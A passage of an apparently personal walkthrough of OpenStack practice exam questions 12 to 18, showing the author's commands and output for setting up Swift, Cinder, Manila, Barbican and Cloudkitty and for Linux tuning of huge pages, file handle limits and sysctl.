per group </span></span><span class="line"><span class="cl">8192 inodes per group </span></span><span class="line"><span class="cl">Superblock backups stored on blocks: </span></span><span class="line"><span class="cl"> 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Allocating group tables: done </span></span><span class="line"><span class="cl">Writing inode tables: done </span></span><span class="line"><span class="cl">Creating journal (32768 blocks): done </span></span><span class="line"><span class="cl">Writing superblocks and filesystem accounting information: done </span></span></code></pre></td></tr></table> </div> </div><p>Then run <code>iaas-install-swift-controller.sh</code> and <code>iaas-install-swift-compute.sh</code> scripts:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# ./iaas-install-swift-controller.sh </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute bin]# ./iaas-install-swift-compute.sh </span></span></code></pre></td></tr></table> </div> </div><p>Back to <code>/root</code> directory(Or other location of <code>cirros-0.3.4-x86_64-disk.img</code>):</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# cd ~ </span></span></code></pre></td></tr></table> </div> </div><p>Create a container named <code>examcontainer</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# swift post examcontainer </span></span></code></pre></td></tr></table> </div> </div><p>Upload the cirros-0.3.4-x86_64-disk.img image to the “examcontainer” container, and set segment storage with a size of 10M for each segment.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="p">[</span><span class="n">root</span><span class="err">@</span><span class="n">controller</span> <span class="o">~</span><span class="p">]</span><span class="c1"># swift upload examcontainer -S 10000000 cirros-0.3.4-x86_64-disk.img </span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">cirros-0.3.4-x86_64-disk.img segment 1 </span></span><span class="line"><span class="cl">cirros-0.3.4-x86_64-disk.img segment 0 </span></span><span class="line"><span class="cl">cirros-0.3.4-x86_64-disk.img </span></span></code></pre></td></tr></table> </div> </div><p>Then it&rsquo;s finished.</p> <blockquote> <h4 id="question-12-creating-a-cinder-volume-05-points"><strong>[Question 12] Creating a Cinder volume [0.5 points]</strong></h4> <p>Using the <code>iaas-install-cinder-controller.sh</code> and <code>iaas-install-cinder-compute.sh</code> scripts, install the Cinder service on both the control node and compute node. On the compute node, expand the block storage by creating an additional 5GB partition and adding it to the back-end storage for Cinder block storage. After completion, submit the username, password, and IP address of the compute node to the answer box.</p> </blockquote> <p>Install the Cinder Service in controller node:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# ./iaas-install-cinder-controller.sh </span></span></code></pre></td></tr></table> </div> </div><p>Install the Cinder Service in compute node:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute bin]# ./iaas-install-cinder-compute.sh </span></span></code></pre></td></tr></table> </div> </div><p>Check if succeed:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute bin]# lsblk </span></span><span class="line"><span class="cl">NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT </span></span><span class="line"><span class="cl">sda 8:0 0 50G 0 disk </span></span><span class="line"><span class="cl">├─sda1 8:1 0 1G 0 part /boot </span></span><span class="line"><span class="cl">└─sda2 8:2 0 49G 0 part </span></span><span class="line"><span class="cl"> ├─centos-root 253:0 0 45.1G 0 lvm / </span></span><span class="line"><span class="cl"> └─centos-swap 253:1 0 3.9G 0 lvm [SWAP] </span></span><span class="line"><span class="cl">sdb 8:16 0 20G 0 disk </span></span><span class="line"><span class="cl">├─sdb1 8:17 0 10G 0 part </span></span><span class="line"><span class="cl">│ ├─cinder--volumes-cinder--volumes--pool_tmeta 253:2 0 12M 0 lvm </span></span><span class="line"><span class="cl">│ │ └─cinder--volumes-cinder--volumes--pool 253:4 0 9.5G 0 lvm </span></span><span class="line"><span class="cl">│ └─cinder--volumes-cinder--volumes--pool_tdata 253:3 0 9.5G 0 lvm </span></span><span class="line"><span class="cl">│ └─cinder--volumes-cinder--volumes--pool 253:4 0 9.5G 0 lvm </span></span><span class="line"><span class="cl">└─sdb2 8:18 0 10G 0 part /swift/node/sdb2 </span></span><span class="line"><span class="cl">sdc 8:32 0 3G 0 disk </span></span><span class="line"><span class="cl">sr0 11:0 1 1024M 0 rom </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute bin]# vgdisplay </span></span><span class="line"><span class="cl"> --- Volume group --- </span></span><span class="line"><span class="cl"> VG Name cinder-volumes </span></span><span class="line"><span class="cl"> System ID </span></span><span class="line"><span class="cl"> Format lvm2 </span></span><span class="line"><span class="cl"> Metadata Areas 1 </span></span><span class="line"><span class="cl"> Metadata Sequence No 4 </span></span><span class="line"><span class="cl"> VG Access read/write </span></span><span class="line"><span class="cl"> VG Status resizable </span></span><span class="line"><span class="cl"> MAX LV 0 </span></span><span class="line"><span class="cl"> Cur LV 1 </span></span><span class="line"><span class="cl"> Open LV 0 </span></span><span class="line"><span class="cl"> Max PV 0 </span></span><span class="line"><span class="cl"> Cur PV 1 </span></span><span class="line"><span class="cl"> Act PV 1 </span></span><span class="line"><span class="cl"> VG Size &lt;10.00 GiB </span></span><span class="line"><span class="cl"> PE Size 4.00 MiB </span></span><span class="line"><span class="cl"> Total PE 2559 </span></span><span class="line"><span class="cl"> Alloc PE / Size 2438 / 9.52 GiB </span></span><span class="line"><span class="cl"> Free PE / Size 121 / 484.00 MiB </span></span><span class="line"><span class="cl"> VG UUID QHk53K-Kj2O-ilc2-pxk6-Upqe-meRE-vfJu6P </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> --- Volume group --- </span></span><span class="line"><span class="cl"> VG Name centos </span></span><span class="line"><span class="cl"> System ID </span></span><span class="line"><span class="cl"> Format lvm2 </span></span><span class="line"><span class="cl"> Metadata Areas 1 </span></span><span class="line"><span class="cl"> Metadata Sequence No 3 </span></span><span class="line"><span class="cl"> VG Access read/write </span></span><span class="line"><span class="cl"> VG Status resizable </span></span><span class="line"><span class="cl"> MAX LV 0 </span></span><span class="line"><span class="cl"> Cur LV 2 </span></span><span class="line"><span class="cl"> Open LV 2 </span></span><span class="line"><span class="cl"> Max PV 0 </span></span><span class="line"><span class="cl"> Cur PV 1 </span></span><span class="line"><span class="cl"> Act PV 1 </span></span><span class="line"><span class="cl"> VG Size &lt;49.00 GiB </span></span><span class="line"><span class="cl"> PE Size 4.00 MiB </span></span><span class="line"><span class="cl"> Total PE 12543 </span></span><span class="line"><span class="cl"> Alloc PE / Size 12542 / 48.99 GiB </span></span><span class="line"><span class="cl"> Free PE / Size 1 / 4.00 MiB </span></span><span class="line"><span class="cl"> VG UUID 2tEud0-Ydx6-cFfX-dZMM-F9IC-l3nc-sLS38v </span></span><span class="line"><span class="cl"> </span></span></code></pre></td></tr></table> </div> </div><p>Well, it&rsquo;s finished.</p> <blockquote> <h4 id="question-13-installation-and-usage-of-manila-service-05-point"><strong>[Question 13] Installation and Usage of Manila Service [0.5 point]</strong></h4> <p>Install the Manila service on the control and compute nodes using the <code>iaas-install-manila-controller.sh</code> and <code>iaas-install-manila-compute.sh</code> scripts, respectively. After installing the service, create a default_share_type share type (without driver support), and then create a shared storage called share01 with a size of 2G and grant permission for OpenStack management network segment to access the share01 directory. Finally, submit the username, password, and IP address of the control node to the answer box.</p> </blockquote> <p>Create a partion for Manila:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute bin]# fdisk /dev/sdc </span></span><span class="line"><span class="cl">Welcome to fdisk (util-linux 2.23.2). </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Changes will remain in memory only, until you decide to write them. </span></span><span class="line"><span class="cl">Be careful before using the write command. </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Device does not contain a recognized partition table </span></span><span class="line"><span class="cl">Building a new DOS disklabel with disk identifier 0x6e07efc2. </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Command (m for help): n </span></span><span class="line"><span class="cl">Partition type: </span></span><span class="line"><span class="cl"> p primary (0 primary, 0 extended, 4 free) </span></span><span class="line"><span class="cl"> e extended </span></span><span class="line"><span class="cl">Select (default p): p </span></span><span class="line"><span class="cl">Partition number (1-4, default 1): </span></span><span class="line"><span class="cl">First sector (2048-6291455, default 2048): </span></span><span class="line"><span class="cl">Using default value 2048 </span></span><span class="line"><span class="cl">Last sector, +sectors or +size{K,M,G} (2048-6291455, default 6291455): </span></span><span class="line"><span class="cl">Using default value 6291455 </span></span><span class="line"><span class="cl">Partition 1 of type Linux and of size 3 GiB is set </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Command (m for help): w </span></span><span class="line"><span class="cl">The partition table has been altered! </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Calling ioctl() to re-read partition table. </span></span><span class="line"><span class="cl">Syncing disks. </span></span></code></pre></td></tr></table> </div> </div><p>Installl the Manila Service in controller node:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# ./iaas-install-manila-controller.sh </span></span></code></pre></td></tr></table> </div> </div><p>Install the Manila Service in compute node:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute bin]# ./iaas-install-manila-compute.sh </span></span></code></pre></td></tr></table> </div> </div><p>Create a default_share_type share type (without driver support):</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# manila type-create default_share_type False </span></span></code></pre></td></tr></table> </div> </div><p>Check the manila type list:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# manila type-list </span></span></code></pre></td></tr></table> </div> </div><p>Create a shared storage called share01 with a size of 2G</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# manila create NFS 2 --name share01 </span></span></code></pre></td></tr></table> </div> </div><p>Check if the operation succeed:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# manila list </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">+--------------------------------------+---------+------+-------------+-----------+-----------+--------------------+-----------------------------+-------------------+ </span></span><span class="line"><span class="cl">| ID | Name | Size | Share Proto | Status | Is Public | Share Type Name | Host | Availability Zone | </span></span><span class="line"><span class="cl">+--------------------------------------+---------+------+-------------+-----------+-----------+--------------------+-----------------------------+-------------------+ </span></span><span class="line"><span class="cl">| 0cdd5acb-5e54-4cdd-9187-467e2800d212 | share01 | 2 | NFS | available | False | default_share_type | compute@lvm#lvm-single-pool | nova | </span></span><span class="line"><span class="cl">+--------------------------------------+---------+------+-------------+-----------+-----------+--------------------+-----------------------------+-------------------+ </span></span></code></pre></td></tr></table> </div> </div><p>Grant permission for OpenStack management network segment to access the share01 directory.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# manila access-allow share01 ip 192.168.56.0/24 --access-level rw </span></span></code></pre></td></tr></table> </div> </div><p>Check if the operation succeed!</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# manila access-list share01 </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">+--------------------------------------+-------------+-----------------+--------------+--------+------------+----------------------------+------------+ </span></span><span class="line"><span class="cl">| id | access_type | access_to | access_level | state | access_key | created_at | updated_at | </span></span><span class="line"><span class="cl">+--------------------------------------+-------------+-----------------+--------------+--------+------------+----------------------------+------------+ </span></span><span class="line"><span class="cl">| cad9f433-6ad3-4db9-afe1-90dc52374a08 | ip | 192.168.56.0/24 | rw | active | None | 2023-05-06T06:55:13.000000 | None | </span></span><span class="line"><span class="cl">+--------------------------------------+-------------+-----------------+--------------+--------+------------+----------------------------+------------+ </span></span></code></pre></td></tr></table> </div> </div><p>Done!</p> <blockquote> <h4 id="question-14-barbican-service-installation-and-usage-05-points"><strong>[Question 14] Barbican Service Installation and Usage [0.5 points]</strong></h4> <p>Install the Barbican service using the <code>iaas-install-barbican.sh</code> script. After the installation is complete, use the openstack command to create a key named &ldquo;secret01&rdquo;. Once created, submit the username, password, and IP address of the control node in the answer box.</p> </blockquote> <p>Well, it&rsquo;s easy, run <code>iaas-install-barbican.sh</code> in controller node.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# ./iaas-install-barbican.sh </span></span></code></pre></td></tr></table> </div> </div><p>Create a key named &ldquo;secret01&rdquo;</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="p">[</span><span class="n">root</span><span class="err">@</span><span class="n">controller</span> <span class="n">bin</span><span class="p">]</span><span class="c1"># openstack secret store --name secret01 --payload secretkey</span> </span></span></code></pre></td></tr></table> </div> </div><p>Done!</p> <blockquote> <h4 id="question-15-cloudkitty-service-installation-and-usage-05-points"><strong>[Question 15] Cloudkitty Service Installation and Usage [0.5 points]</strong></h4> <p>Install the cloudkitty service using the <code>iaas-install-cloudkitty.sh</code> script. After installation, enable the hashmap rating module and then create the volume_thresholds group. Create a service matching rule for volume.size and set the price per GB to 0.01. Next, apply discounts to corresponding large amounts of data. Create a threshold in the volume_thresholds group and set a discount of 2% (0.98) if the threshold is exceeded for volumes over 50GB. After completing the setup, submit the username, password, and IP address of the control node in the answer box.</p> </blockquote> <p>Run the script to install the service:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# ./iaas-install-cloudkitty.sh </span></span></code></pre></td></tr></table> </div> </div><p>Enable hashmap:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">[root@controller bin]# openstack rating module enable hashmap </span></span></code></pre></td></tr></table> </div> </div><p>Create hashmap service</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# openstack rating hashmap service create volume.size </span></span><span class="line"><span class="cl">+-------------+--------------------------------------+ </span></span><span class="line"><span class="cl">| Name | Service ID | </span></span><span class="line"><span class="cl">+-------------+--------------------------------------+ </span></span><span class="line"><span class="cl">| volume.size | 12b61017-6842-4d54-aa44-599d121e5f46 | </span></span><span class="line"><span class="cl">+-------------+--------------------------------------+ </span></span></code></pre></td></tr></table> </div> </div><p>Create hashmap service group</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# openstack rating hashmap group create volume_thresholds </span></span><span class="line"><span class="cl">+-------------------+--------------------------------------+ </span></span><span class="line"><span class="cl">| Name | Group ID | </span></span><span class="line"><span class="cl">+-------------------+--------------------------------------+ </span></span><span class="line"><span class="cl">| volume_thresholds | c46c8a1e-1878-4c44-bf36-57c06ce0672b | </span></span><span class="line"><span class="cl">+-------------------+--------------------------------------+ </span></span></code></pre></td></tr></table> </div> </div><p>Create volume price</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# openstack rating hashmap mapping create -s 12b61017-6842-4d54-aa44-599d121e5f46 -g c46c8a1e-1878-4c44-bf36-57c06ce0672b -t flat 0.01 </span></span><span class="line"><span class="cl">+--------------------------------------+-------+------------+------+----------+--------------------------------------+--------------------------------------+------------+ </span></span><span class="line"><span class="cl">| Mapping ID | Value | Cost | Type | Field ID | Service ID | Group ID | Project ID | </span></span><span class="line"><span class="cl">+--------------------------------------+-------+------------+------+----------+--------------------------------------+--------------------------------------+------------+ </span></span><span class="line"><span class="cl">| e5f99784-e49c-47ac-98e0-6f818c3ff6fb | None | 0.01000000 | flat | None | 12b61017-6842-4d54-aa44-599d121e5f46 | c46c8a1e-1878-4c44-bf36-57c06ce0672b | None | </span></span><span class="line"><span class="cl">+--------------------------------------+-------+------------+------+----------+--------------------------------------+--------------------------------------+------------+ </span></span></code></pre></td></tr></table> </div> </div><p>Create service rule</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# openstack rating hashmap threshold create -s 12b61017-6842-4d54-aa44-599d121e5f46 -g c46c8a1e-1878-4c44-bf36-57c06ce0672b -t rate 50 0.98 </span></span><span class="line"><span class="cl">+--------------------------------------+-------------+------------+------+----------+--------------------------------------+--------------------------------------+------------+ </span></span><span class="line"><span class="cl">| Threshold ID | Level | Cost | Type | Field ID | Service ID | Group ID | Project ID | </span></span><span class="line"><span class="cl">+--------------------------------------+-------------+------------+------+----------+--------------------------------------+--------------------------------------+------------+ </span></span><span class="line"><span class="cl">| a88e4768-defd-4c72-91f2-521b28e3c1a2 | 50.00000000 | 0.98000000 | rate | None | 12b61017-6842-4d54-aa44-599d121e5f46 | c46c8a1e-1878-4c44-bf36-57c06ce0672b | None | </span></span><span class="line"><span class="cl">+--------------------------------------+-------------+------------+------+----------+--------------------------------------+--------------------------------------+------------+ </span></span></code></pre></td></tr></table> </div> </div><p>Done!</p> <blockquote> <h4 id="question-16-openstack-platform-memory-optimization-05-points"><strong>[Question 16] OpenStack Platform Memory Optimization [0.5 points]</strong></h4> <p>After setting up the OpenStack platform, disable memory sharing in the system and enable transparent huge pages. After completing this, submit the username, password, and IP address of the control node to the answer box.</p> </blockquote> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# find / -name defrag </span></span></code></pre></td></tr></table> </div> </div><p>Disable memory sharing in the system and enable transparent huge pages.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# echo never &gt; /sys/kernel/mm/transparent_hugepage/defrag </span></span></code></pre></td></tr></table> </div> </div><p>Check the fianl result:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# cat /sys/kernel/mm/transparent_hugepage/defrag </span></span><span class="line"><span class="cl">always madvise [never] </span></span></code></pre></td></tr></table> </div> </div><p>Done!</p> <blockquote> <h4 id="question-17-modify-file-handle-count-05-points"><strong>Question 17] Modify file handle count [0.5 points]</strong></h4> <p>In a Linux server with high concurrency, it is often necessary to tune the Linux parameters in advance. By default, Linux only allows a maximum of 1024 file handles. When your server reaches its limit during high concurrency, you will encounter the error message &ldquo;too many open files&rdquo;. To address this, create a cloud instance and modify the relevant configuration to permanently increase the maximum file handle count to 65535 for the control node. After completing the configuration, submit the username, password, and IP address of the controller node to the answer box.</p> </blockquote> <p>Get the information of the maximum file handles:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# ulimit -n </span></span><span class="line"><span class="cl">1024 </span></span></code></pre></td></tr></table> </div> </div><p>Change the settings:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# echo &#34;* soft nofile 65535&#34; &gt;&gt; /etc/security/limits.conf </span></span><span class="line"><span class="cl">[root@controller ~]# echo &#34;* hard nofile 65535&#34; &gt;&gt; /etc/security/limits.conf </span></span></code></pre></td></tr></table> </div> </div><p>Finally just reconnect to the ssh shell, and get the maximum file handles again.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# ulimit -n </span></span><span class="line"><span class="cl">65535 </span></span></code></pre></td></tr></table> </div> </div><blockquote> <h4 id="question-18-linux-system-tuning---dirty-data-writing-back-10-point"><strong>[Question 18] Linux System Tuning - Dirty Data Writing Back [1.0 point]</strong></h4> <p>There may be dirty data in the memory of a Linux system, and the system generally defaults to writing back to the disk after 30 seconds of dirty data. Modify the system configuration file to temporarily adjust the time for writing back to the disk to 60 seconds. After completion, submit the username, password, and IP address of the controller node to the answer box.</p> </blockquote> <p>Just edit the file <code>/etc/sysctl.conf</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# vim /etc/sysctl.conf 